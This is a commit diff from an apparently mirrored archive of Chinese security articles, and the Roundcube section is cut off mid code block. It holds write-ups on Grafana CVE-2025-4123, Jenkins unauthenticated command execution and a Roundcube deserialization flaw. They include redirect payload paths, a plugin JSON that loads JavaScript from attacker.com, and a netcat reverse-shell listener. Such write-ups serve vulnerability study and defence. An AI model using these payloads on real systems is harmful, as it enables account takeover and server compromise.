mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Roundcube ≤ 1.6.10 通过 PHP 对象反序列化进行身份验证后 RCE、CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析、赚取50000美元的5个顶级 XSS PoC、【已复现】DataEase 远程代码执行漏洞(CVE-2025-49002、CVE-2025-49001)、世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 任意文件上传漏洞、创宇安全智脑 | Cisco IOS XE 任意文件上传(CVE-2025-20188)等81个漏洞可检测、Jenkins未授权访问-命令执行漏洞复现及修复方案、
This commit is contained in:
1 parent
b2cb311747
commit
ce86be3fd1
8 files changed
+1638
-1
No files matched your search
@@ -14828,5 +14828,12 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwODMzOTA2NA==&mid=2247494382&idx=1&sn=330fbe9f024f01ab79c0d9b1adb073fb": "0Day漏洞曝光!多媒体综合业务显示系统面临严峻挑战",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247512335&idx=1&sn=f2441cd275388321ab2e598a075770f8": "Windows RAR∕ZIP解压缩泄露NTLM哈希漏洞复现",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503451&idx=1&sn=838415cece549ae052cced3f736997b1": "【已复现】DataEase 远程代码执行漏洞(CVE-2025-49001、CVE-2025-49002)安全风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499813&idx=1&sn=6bae33061f883e54798c04b274e0622e": "WebShell 再进化:无需 cmd.exe 实现任意命令执行"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499813&idx=1&sn=6bae33061f883e54798c04b274e0622e": "WebShell 再进化:无需 cmd.exe 实现任意命令执行",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530437&idx=1&sn=267b5a0dabb08b7c42c092b55b72eaf0": "Roundcube ≤ 1.6.10 通过 PHP 对象反序列化进行身份验证后 RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616341&idx=1&sn=f64a0740ed2b0d209cefae4d1633c3ee": "CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650261267&idx=1&sn=9438b6a7fe72e186a534faca70834b0b": "赚取50000美元的5个顶级 XSS PoC",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247492805&idx=1&sn=30e47869ddf47a6cb5a92b70c81c266e": "【已复现】DataEase 远程代码执行漏洞(CVE-2025-49002、CVE-2025-49001)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491703&idx=1&sn=6775431a3523ce79579c880215420a9f": "世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNjU0NjAyNg==&mid=2247491229&idx=1&sn=a9c298d3409c3f84537a599c5c171c00": "创宇安全智脑 | Cisco IOS XE 任意文件上传(CVE-2025-20188)等81个漏洞可检测",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247485866&idx=1&sn=f22b47fb7cbbdb28ea72a878b6f9d8fa": "Jenkins未授权访问-命令执行漏洞复现及修复方案"
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
# CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析
|
||||
白帽子左一 白帽子左一 2025-06-05 04:00
|
||||
|
||||
|
||||
|
||||
扫码领资料
|
||||
|
||||
获网安教程
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**来****Track安全社区投稿~**
|
||||
|
||||
**赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)**
|
||||
|
||||
# 摘要
|
||||
|
||||
开放重定向是指当一个网页应用程序接收一个URL参数并将用户重定向到该指定URL时,未对其进行验证的情况。
|
||||
```
|
||||
/redirect?url=https://evil.com` --> (302 Redirect) --> `https://evil.com
|
||||
```
|
||||
|
||||
这本身看起来可能并不危险,但这种类型的漏洞成为发现两个独立漏洞的起点:一个完整读取的SSRF和一次账户接管。
|
||||
|
||||
在这篇文章中,我将逐步讲解我是如何发现它们的整个过程。
|
||||
# 为什么选择Grafana?
|
||||
|
||||
Grafana是一个开源的分析平台,主要使用Go和TypeScript编写,用于可视化来自Prometheus和InfluxDB等数据源的数据。
|
||||
|
||||
我认为在这个Web应用中发现漏洞是一个不错的挑战,所以我下载了源代码并开始调试——尽管这是我第一次接触Go语言。我决定专注于应用中未认证的部分。
|
||||
# 切入点:开放重定向
|
||||
|
||||
我查看了api/api.go
|
||||
中定义的所有未认证端点。
|
||||
```
|
||||
...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...
|
||||
```
|
||||
# 功能分析
|
||||
|
||||
我甚至进一步深入研究了整个应用中使用的中间件。就在那时,我发现了一个负责处理静态路由的函数——它引起了我的注意。
|
||||
```
|
||||
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool { if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" { return false } file := ctx.Req.URL.Path for _, p := range opt.Exclude { if file == p { return false } } // if we have a prefix, filter requests by stripping the prefix if opt.Prefix != "" { if !strings.HasPrefix(file, opt.Prefix) { return false } file = file[len(opt.Prefix):] if file != "" && file[0] != '/' { return false } } f, err := opt.FileSystem.Open(file) if err != nil { return false } ..............}
|
||||
```
|
||||
|
||||
该函数用于根据用户输入从系统中读取文件。很自然,我的第一个想法是尝试使用路径遍历技术(如 ../
|
||||
或类似的技巧)来加载任意文件。
|
||||
|
||||
我会向你解释整个代码的执行流程以及所做的所有输入清理(理解这个漏洞的关键)。
|
||||
|
||||

|
||||
|
||||
|
||||
因此,如果你请求 /public/file/../../../name
|
||||
,路径会被清理,并解析为 /staticfiles/etc/etc/name
|
||||
,从而有效阻止访问目标目录之外的非预期文件。
|
||||
|
||||
此外,如果解析后的最终路径指向一个文件夹,StaticHandler
|
||||
函数会检查该文件夹内是否存在默认文件 —— 通常会从该目录中返回 /index.html
|
||||
。
|
||||
```
|
||||
if fi.IsDir() { // Redirect if missing trailing slash. if !strings.HasSuffix(ctx.Req.URL.Path, "/") { path := fmt.Sprintf("%s/", ctx.Req.URL.Path) if !strings.HasPrefix(path, "/") { // Disambiguate that it's a path relative to this server path = fmt.Sprintf("/%s", path) } else { // A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path rePrefix := regexp.MustCompile(`^(?:/\\|/+)`) path = rePrefix.ReplaceAllString(path, "/") } http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound) return true } file = path.Join(file, opt.IndexFile) indexFile, err := opt.FileSystem.Open(file) ....}
|
||||
```
|
||||
|
||||
如你所见,如果最终的文件是一个目录,并且所提供的路径(如 /public/build
|
||||
)未以 /
|
||||
结尾,服务器会重定向到同一路径并在末尾添加一个 /
|
||||
。
|
||||
```
|
||||
GET /public/build HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/build/
|
||||
```
|
||||
|
||||
这种重定向行为正是开放重定向漏洞发生的地方,接下来我们就深入分析这一点。
|
||||
# 目标
|
||||
|
||||
在我的场景中,应用程序会根据所提供的路径进行重定向,因此最终的重定向URL始终以 /
|
||||
开头。我的目标是构造一个路径,当被请求时会重定向到一个合法的、以 /
|
||||
开头的完整URL,例如:
|
||||
- • //attacker.com/...
|
||||
--> //
|
||||
表示协议相对URL,会使用当前页面的协议(如 HTTPS)
|
||||
|
||||
- • /\attacker.com/...
|
||||
--> /\
|
||||
同样具有相同效果
|
||||
|
||||
# 问题与解决方案
|
||||
# 有效目录
|
||||
|
||||
为了触发重定向功能,我需要一个以 /public/
|
||||
开头的路径,并且在传递给 opt.FileSystem.Open(file)
|
||||
时能够解析为一个有效的目录。
|
||||
|
||||
我从 /public/\attacker.com/../..
|
||||
开始尝试,这条路径会被解析为一个空字符串 ""
|
||||
,然后被附加到 /staticfiles/etc/etc/
|
||||
,从而触发 if fi.isDir(){}
|
||||
的代码逻辑。
|
||||
|
||||
/public/\attacker.com/../..
|
||||
-->
|
||||
|
||||
/\attacker.com/../..
|
||||
--> ""
|
||||
-->
|
||||
```
|
||||
/staticfiles/etc/etc/`+`""` --> `fi.isDir() TRUE
|
||||
```
|
||||
|
||||
现在,我已经找到了注入任意payload的方法,使其能够被 opt.FileSystem.Open(file)
|
||||
解析为一个文件夹:
|
||||
/public/{}/../../..
|
||||
# 不一致性
|
||||
|
||||
一旦进入 isDir()
|
||||
部分,路径 /public/\attacker.com/../..
|
||||
会到达 http.Redirect()
|
||||
函数。问题在于该函数同样会解析路径,导致重定向路径最终变成 /
|
||||
。
|
||||
```
|
||||
if fi.IsDir() { ... //path is "/public/\attacker.com/../.." but the final redirect is "/" http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound) return true ...}
|
||||
```
|
||||
|
||||
如果我请求 /public/\attacker.com/../..
|
||||
```
|
||||
GET /public/\attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /
|
||||
```
|
||||
|
||||
所以,基本上,
|
||||
|
||||
我需要构造一个路径,使得在加载文件时 /../../..
|
||||
被 opt.FileSystem.Open(file)
|
||||
解析,
|
||||
|
||||
但在执行重定向时,http.Redirect()
|
||||
不对其进行解析。
|
||||
|
||||
该路径在两种情况下的解析方式不同。
|
||||
- • opt.FileSystem.Open(file)
|
||||
期望的是系统文件路径
|
||||
|
||||
- • http.Redirect(path)
|
||||
期望的是URL路径
|
||||
|
||||
> 问题即答案
|
||||
*?*
|
||||
|
||||
- • opt.FileSystem.Open(file)
|
||||
将 ?
|
||||
视为普通字符。
|
||||
|
||||
- • http.Redirect(path)
|
||||
将 ?
|
||||
解释为URL参数的开始。
|
||||
|
||||
这意味着 /public/\attacker.com/?/../../../..
|
||||
会被处理为:
|
||||
|
||||
在 opt.FileSystem.Open()
|
||||
中 — >
|
||||
- • /public/\attacker.com/?/../../../..
|
||||
解析为 ""
|
||||
,
|
||||
/staticfiles/etc/etc/
|
||||
+ ""
|
||||
是一个有效的文件夹。
|
||||
|
||||
在 http.Redirect()
|
||||
中 →
|
||||
- • /public/\attacker.com/?/../../../..
|
||||
--> ?
|
||||
后面的内容被视为查询字符串,不作为路径解析。
|
||||
|
||||
带 ?
|
||||
的请求 -> %3f
|
||||
:
|
||||
```
|
||||
GET /public/\attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/\attacker.com/?/../../
|
||||
```
|
||||
# 最终payload
|
||||
|
||||
URL /public/\attacker.com/?/../../../..
|
||||
需要被解析成一个以 /\
|
||||
开头的完整URL。
|
||||
|
||||
我简单地使用了这个路径:/public/../\attacker.com/?/../../../..
|
||||
|
||||
当 http.Redirect()
|
||||
解析路径时,会移除 /public
|
||||
部分。
|
||||
|
||||
请求:
|
||||
```
|
||||
GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /\attacker.com/?/../../../../../../
|
||||
```
|
||||
# 摘要图解
|
||||
|
||||

|
||||
|
||||
# 完整读取 SSRF
|
||||
|
||||
该开放重定向本身没有严重的安全影响,因此我需要将其与其他功能链式利用。
|
||||
|
||||
Grafana 有一个名为 /render
|
||||
的端点,用于根据提供的路径生成图片。
|
||||
```
|
||||
// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
该端点使用无头浏览器渲染用户指定路径的HTML,它只接受相对URL路径 /route
|
||||
,不允许渲染来自绝对URL https://...
|
||||
的内容。
|
||||
|
||||
但如果我利用发现的开放重定向来重定向到内部服务怎么办?
|
||||
|
||||
首先,我尝试通过 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
|
||||
加载 google.es
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
然后我搭建了一个外部无法访问的内部服务,
|
||||
|
||||
并尝试通过 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
|
||||
加载 127.0.0.1:1234
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
通过该漏洞,我能够完整读取内部服务。由于渲染使用了浏览器,我甚至可以通过构造一个指向内部服务的表单来发送 POST
|
||||
请求。
|
||||
|
||||
Grafana 在 Intigriti 上的公开漏洞计划未将 /render
|
||||
端点纳入范围,因为该端点默认未启用。
|
||||
|
||||
此外,该漏洞需要登录才能利用,所以我无法从中获益。
|
||||
# 通过 XSS 实现账号接管
|
||||
|
||||
这可能是我利用过的最棒的漏洞链,成功实现了 XSS 和账号接管。
|
||||
# 客户端路径遍历
|
||||
|
||||
Grafana 大量客户端代码允许客户端路径遍历。
|
||||
|
||||
例如,当你在浏览器加载 /invite/1
|
||||
时,JavaScript 会请求 /api/user/invite/1
|
||||
来获取邀请信息。
|
||||
|
||||
但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute
|
||||
,JavaScript 会解析路径遍历,最终加载 /route
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
这就创造了一个完美的场景,可以强制 JavaScript 加载开放重定向,从而从我的服务器获取特制的 JSON。
|
||||
|
||||
但首先,我需要找到一个以不安全方式加载内容的端点,并利用它执行 JavaScript。
|
||||
# 加载恶意 JavaScript 文件
|
||||
|
||||
你可以使用 /a/plugin-app/explore
|
||||
来加载和管理插件应用。
|
||||
|
||||
该功能的 JavaScript 会从 URL 中提取插件应用名称,并用它请求 /api/plugins/plugin-app/settings
|
||||
来获取插件信息。
|
||||
|
||||
/api/plugins/plugin-app/settings
|
||||
文件内容如下。
|
||||
```
|
||||
{ "name": "plugin-app", "type": "app", "id": "plugin-app", "enabled": true, "pinned": true, "autoEnabled": true, "module": "/modules/..../plugin-app.js", //js file to load "baseUrl": "public/plugins/grafana-lokiexplore-app", "info": { "author": { "name": "Grafana" ... } } ...}
|
||||
```
|
||||
|
||||
/a/plugin-app/explore
|
||||
会加载该文件,并执行 "module"
|
||||
参数中提供的 JavaScript。
|
||||
|
||||
/a/plugin-app/explore
|
||||
存在客户端路径遍历漏洞,允许我加载服务器上的任意路由,而不是 /api/plugin-app/settings
|
||||
。
|
||||
|
||||
这使我能够加载开放重定向,进而获取包含任意 JavaScript 文件的恶意 JSON。
|
||||
|
||||
所以基本上,我搭建了自己的服务器,放置所有必要的 JS 和 JSON 文件。
|
||||
|
||||
我只需要托管如下格式的 JSON:
|
||||
```
|
||||
{ "name": "ExploitPluginReq", "type": "app", "id": "grafana-lokiexplore-app", "enabled": true, "pinned": true, "autoEnabled": true, "module": "http://attacker.com/file?js=file", //malicious js file "baseUrl": "public/plugins/grafana-lokiexplore-app", "info": { "author": {...} } ...}
|
||||
```
|
||||
|
||||
然后加载这个路径,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
|
||||
,利用了客户端路径遍历和开放重定向漏洞。
|
||||
|
||||
结果是:
|
||||
|
||||

|
||||
|
||||
|
||||
我的恶意 JavaScript 文件被执行,使我能够更改受害者的邮箱并重置他们的密码。
|
||||
# 摘要图解
|
||||
|
||||

|
||||
|
||||
|
||||
完整漏洞利用:
|
||||
|
||||
https://github.com/NightBloodz/CVE-2025-4123
|
||||
|
||||
我一直认为 Grafana 是一个几乎无法攻破的目标。它看起来非常复杂且安全——公平地说,确实如此。
|
||||
|
||||
但发现这个漏洞证明了,无论一个应用看起来多么安全,它总是存在漏洞,或者最终会出现漏洞。
|
||||
|
||||
我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两个利用路径都需要身份认证。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
参考链接:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53
|
||||
|
||||
|
||||
|
||||
|
||||
获取更多精彩内容,尽在Track安全社区~:
|
||||
https://bbs.zkaq.cn
|
||||
|
||||
**声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学********习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!**
|
||||
|
||||
**如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。**
|
||||
|
||||
****
|
||||
****
|
||||
****
|
||||
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
# Jenkins未授权访问-命令执行漏洞复现及修复方案
|
||||
徐志洋 玄武盾网络技术实验室 2025-06-05 07:49
|
||||
|
||||
作者:徐志洋
|
||||
|
||||
声明:
|
||||
技术仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。
|
||||
|
||||

|
||||
|
||||
一、背景
|
||||
|
||||
Jenkins 是一款功能强大的应用工具,支持跨平台实现项目的持续集成与持续交付。作为开源代码工具,其能够胜任各类构建任务或持续集成工作。通过集成 Jenkins,可将其应用于多种测试及部署场景。从本质上来说,Jenkins 是一种支撑持续集成的软件解决方案。
|
||||
|
||||
形成漏洞的原因:jenkins 未设置帐号口令,或者使用了弱帐号口令
|
||||
## 二、搭建环境
|
||||
|
||||
测试环境:
|
||||
|
||||
靶机:Ubuntu16.04 IP: 192.168.3.210
|
||||
|
||||
攻击机
|
||||
:kali IP: 192.168.3.211
|
||||
## 2.1 Jenkins的安装
|
||||
|
||||
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb #下载源码
|
||||
|
||||

|
||||
|
||||
dpkg -i jenkins_1.621_all.deb # 安装
|
||||
|
||||

|
||||
|
||||
sudo apt-get
|
||||
-f --fix-missing install # 如若出现报依赖项的错误时执行(解决上图报错的问题)
|
||||
|
||||

|
||||
|
||||
重新安装Jenkins
|
||||
|
||||

|
||||
|
||||
2.2 Jenkins 访问
|
||||
|
||||
由于没有设置口令。可以直接访问,导致存在未授权访问漏洞。
|
||||
|
||||

|
||||
## 三、漏洞复现
|
||||
## 3.1 命令执行
|
||||
|
||||
点击>系统管理>脚本命令执行
|
||||
|
||||

|
||||
|
||||
查看ip信息
|
||||
|
||||

|
||||
|
||||
查看账号信息
|
||||
|
||||

|
||||
|
||||
命令
|
||||
成功被
|
||||
执行
|
||||
## 3.2 反弹shell
|
||||
|
||||
1、在攻击机上监听 8888端口
|
||||
|
||||
nc -lvp 8888
|
||||
|
||||

|
||||
|
||||
2、在Jenkins主机上通过
|
||||
执行
|
||||
命令漏洞进行反弹shell
|
||||
|
||||

|
||||
|
||||
|
||||
3、成功获取shell
|
||||
|
||||

|
||||
|
||||
## 四、漏洞修复
|
||||
|
||||
1、仔细研判业务需求后Jenkins
|
||||
禁止
|
||||
直接暴露在互联网
|
||||
|
||||
2、
|
||||
添加访问控制认证,设置强密码复杂度如口令设置为
|
||||
8位以上,包含大小写字母,特殊符号等及账号登录失败锁定。
|
||||
|
||||
|
||||
@@ -0,0 +1,287 @@
|
||||
# Roundcube ≤ 1.6.10 通过 PHP 对象反序列化进行身份验证后 RCE
|
||||
Ots安全 2025-06-05 07:58
|
||||
|
||||

|
||||
|
||||
2025年6月5日,网络安全研究人员Kirill Firsov披露了Roundcube webmail(版本1.1.0至1.6.10)中的一个严重远程代码执行(RCE)漏洞,编号CVE-2025-49113。该漏洞源于PHP对象反序列化机制中的缺陷,存在于Roundcube的会话处理代码中长达十年之久。攻击者只需具备有效的用户名和密码即可通过文件上传功能注入恶意载荷,绕过Web应用防火墙(WAF),实现远程代码执行,威胁程度极高(CVSS评分9.9/10.0)。
|
||||
|
||||
|
||||
Roundcube作为广泛使用的开源webmail解决方案,被GoDaddy、Hostinger等托管服务商以及cPanel、Plesk等控制面板默认集成,全球约5300万主机受到影响,涵盖约翰霍普金斯大学、剑桥大学等知名机构。
|
||||
|
||||
|
||||
补丁版本1.6.11和1.5.10已发布,但由于漏洞细节在GitHub补丁公开后48小时内被攻击者利用,并在地下论坛以高达5万美元的价格出售,研究人员提前发布了技术分析(未含完整PoC),敦促用户立即升级并监控文件上传和会话活动,以防御潜在的攻击风险。
|
||||
|
||||
|
||||

|
||||
|
||||
为什么这次披露来得这么早
|
||||
|
||||
这项研究原本计划在负责任的披露期后发布。然而,由于补丁在 GitHub 上迅速公开,且攻击者已在 48 小时内对漏洞进行了 diff 和武器化,技术细节已不再有效保密。
|
||||
|
||||
鉴于该漏洞的活跃利用和在地下论坛上出售的证据,我认为发布完整的技术细节但暂时不发布完整的 PoC 符合防御者、蓝队和更广泛的安全社区的最佳利益。
|
||||
|
||||
进行此项披露是为了让维权者在进一步的剥削升级之前获得平等的地位,并为理解问题提供透明度和技术准确性。
|
||||
|
||||
电子邮件末日即服务
|
||||
|
||||
你在渗透测试中遇到 Roundcube 的频率有多高?我猜:比 SSL 配置错误更常见。它无处不在——就像 WordPress 插件一样,但不知何故权限隔离更弱。
|
||||
|
||||
Roundcube 基本上已经成为“网络邮件客户端”的默认代名词,这不仅仅是因为人们喜欢它,还因为主机提供商喜欢免费赠送它。你会发现它被Hostinger、GoDaddy、Dreamhost、OVH、Gandi等所有以每月 3.99 美元的价格出售共享主机的公司捆绑销售。
|
||||
|
||||
别担心——控制面板也不想被冷落。cPanel 、Plesk、ISPConfig、DirectAdmin—— 它们都把 Roundcube 塞进去了。这意味着,只要有一个 bug 出现,所有控制面板都会获得一个 shell。欢迎来到CVE-2025-49113:一份持续泄露的礼物。
|
||||
|
||||
除了私营部门,Roundcube 在教育和政府机构中也得到了广泛的采用,其中包括约翰·霍普金斯大学、哥伦比亚大学和剑桥大学等知名机构。它在学术界、公共服务和高科技领域的存在,凸显了它作为一种无处不在、久经考验的解决方案的声誉,并受到世界上一些最受尊敬的机构的信赖。
|
||||
|
||||
还认为这个漏洞只会影响小众自托管服务商吗?再想想。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
攻击面并不大——而是工业规模。
|
||||
|
||||
鉴于 Roundcube 如此受欢迎,它频频引起信息安全专家的关注也就不足为奇了。我们收集到了许多引人入胜且精彩绝伦的研究成果——其中最引人注目的包括SonarSource报告的标志性CVE-2016-9920漏洞、Ambionics 🚀提供的iconv()复杂漏洞利用,以及SSD Secure Disclosure团队发现的markasjunk插件远程代码执行 (RCE) 。每一次深入研究这些报告,不仅能带来黑客的乐趣,还能激发我们去发现新事物的动力。
|
||||
|
||||

|
||||
|
||||
当然,像Crowdfence这样的经纪商提供的 高达5 万美元的现金奖励确实很诱人——但说实话,我们来这里不只是为了赚钱。我们真正的使命是追求公共安全,推进安全研究,并保护用户和组织免受恶意攻击。
|
||||
|
||||
我建议我们一起踏上另一场引人入胜的冒险之旅。这项调查耗费了我十几个小时的紧张精力,但你或许只需花上十几分钟就能读完,也希望它能激励其他人踏上类似的旅程!
|
||||
|
||||
首先,让我们快速概述一下此漏洞的关键部分:
|
||||
- 影响从1.1.0到1.5.9和1.6.x到1.6.10的所有发布版本🎯
|
||||
|
||||
- 在默认安装上可靠地重现
|
||||
|
||||
- 无需依赖或 PHP 的黑魔法
|
||||
|
||||
- 在代码库中潜伏了10 多年🕵️
|
||||
|
||||
- WAF 无法检测到漏洞
|
||||
|
||||
- 需要有效的用户名/密码组合😞(从技术上讲,CSRF 是可行的,但不够刺激)
|
||||
|
||||
⚠️ 如果您还没有修补,请立即修补
|
||||
|
||||
此漏洞影响 Roundcube 版本 1.1.0 至 1.6.10,包括 cPanel、Plesk、ISPConfig 和其他版本中的默认安装。
|
||||
|
||||
安全版本是:
|
||||
- 1.6.11(最新稳定版本)
|
||||
|
||||
- 1.5.10(长期支持版本)
|
||||
|
||||
如果您正在运行任何旧版本,那么您就很容易上当受骗了!
|
||||
|
||||
既然我们已经掌握了要点,那就让我们撸起袖子,直接行动起来吧!所有演示和讨论都将基于1.6.10版本——这是本次探索时的最新版本。让我们开始黑客攻击吧,当然,要负责任!
|
||||
|
||||
Roundcube 并非普通的邮件应用,它更像是 Web 邮件客户端中的一把瑞士军刀,拥有令人印象深刻的可定制性和无限的灵活性。它能够轻松处理数十个插件,与多种数据库完美兼容,甚至支持 LDAP。这种广泛的多功能性迫使开发人员编写高度通用且适应性强的代码。此外,它必须运行流畅,主机托管巨头们依赖它的响应能力来服务其众多用户。
|
||||
|
||||
深入野兽之腹:会议、连载与混乱
|
||||
|
||||
当然,寻找像直接调用 exec()、include()或eval()这样的简单漏洞很常见,但说实话,在我们之前,无数黑客已经涉足过这个领域。真正有趣的是探索中间件层,也就是那些用户输入会以微妙而隐蔽的方式影响关键操作的隐蔽位置。
|
||||
|
||||
一个有趣的机制是存储客户端的当前状态,这可以在客户端或服务器端完成。Roundcube 巧妙地处理客户端会话,其数据存储方式远远超出了标准 PHP 实践。其开发人员实现了一个高级解决方案,使会话与 MySQL、PostgreSQL、Redis、Memcached 甚至自定义存储系统兼容。这确保了数据处理的一致性,并由./program/lib/Roundcube/rcube_session.php中的内部逻辑高效管理,该文件堪称 Roundcube 框架的大脑。
|
||||
|
||||
我发现 Roundcube 的源代码写得很好,可读性也很强。尤其引人入胜的是其即时会话处理机制。与 PHP 简单的会话存储不同,远程存储在高流量情况下可能会因持续连接而陷入困境。Roundcube 的方法巧妙地最大限度地减少了资源密集型交互,并即时执行快速无缝的会话数据更新、重新计算和规范化。
|
||||
|
||||
由于会话文件格式基于标准 PHP 序列化,但有一些小问题,例如使用竖线 ( | ) 作为分隔符,因此 Roundcube 在实现上也遵循相同的方法。每次执行脚本并使用$_SESSION变量时,抽象类rcube_session的子类之一都会勤勉地重新计算、更新并规范化当前会话数据。效率至上!
|
||||
|
||||
其中一个辅助方法是rcube_session→unserialize():
|
||||
|
||||

|
||||
|
||||
./program/lib/Roundcube/rcube_session.php
|
||||
|
||||
如果您曾经浏览过 PHP 源代码,您就会认出其中的奥妙——序列化数据处理涉及在结构化框架中移动指针,并计算条件、值和名称。如果您也关注 PHP 漏洞,您就会明白这里隐藏着多少陷阱。
|
||||
|
||||
自然而然地,我的目光立刻被这句好奇的小句子吸引住了:if ($str[$p] == '!')。感叹号?这是什么意思?🤔 我突然想不起以前见过这个,于是迫不及待地点击了评论里提供的链接,找到了方法……惊喜!惊喜!那里根本没有类似的东西,既没有函数本身,也没有感叹号。这难道不是仔细研究一下这个点的好理由吗?绝对有!💯
|
||||
|
||||
为了进行测试,我们以 RC 为每个用户生成的数据集为例。例如,在 MySQL 中,数据存储在会话表的vars列中,并以这种不太常见的格式呈现:
|
||||
|
||||
```
|
||||
dGVtcHxiOjE7bGFuZ3VhZ2V8czo1OiJlbl9VUyI7dGFza3xzOjU6ImxvZ2luIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZmVhcnNvZmYub3JnIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319cmVxdWVzdF90b2tlbnxzOjMyOiJhOVFKdkpGQXNrMkduZ1JFclE3SXZBbnkwVldHVkJ6MSI7
|
||||
```
|
||||
|
||||
|
||||
这是因为会话数据可能包含空字节(例如,在对象表示中)以及其他控制字符。这些有时可能与所选的存储后端不兼容。因此,该字符串采用 base64 编码,解码后的形式如下:
|
||||
|
||||
```
|
||||
temp|b:1;language|s:5:"en_US";task|s:5:"login";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}request_token|s:32:"a9QJvJFAsk2GngRErQ7IvAny0VWGVBz1";
|
||||
```
|
||||
|
||||
|
||||
我们可以看到,之前描述的行为重复了一遍,并且数据对应于通常的 PHP 会话文件内容。
|
||||
|
||||
现在,我们可以使用框架本身,或者单独复制rcube_session→unserialize()函数,进行一些快速测试。幸运的是,我们不需要进行太多测试。如果我们使用以感叹号 (!) 开头的变量名,事情就会变得非常奇怪。以下是正常使用时的输出:
|
||||
|
||||
```
|
||||
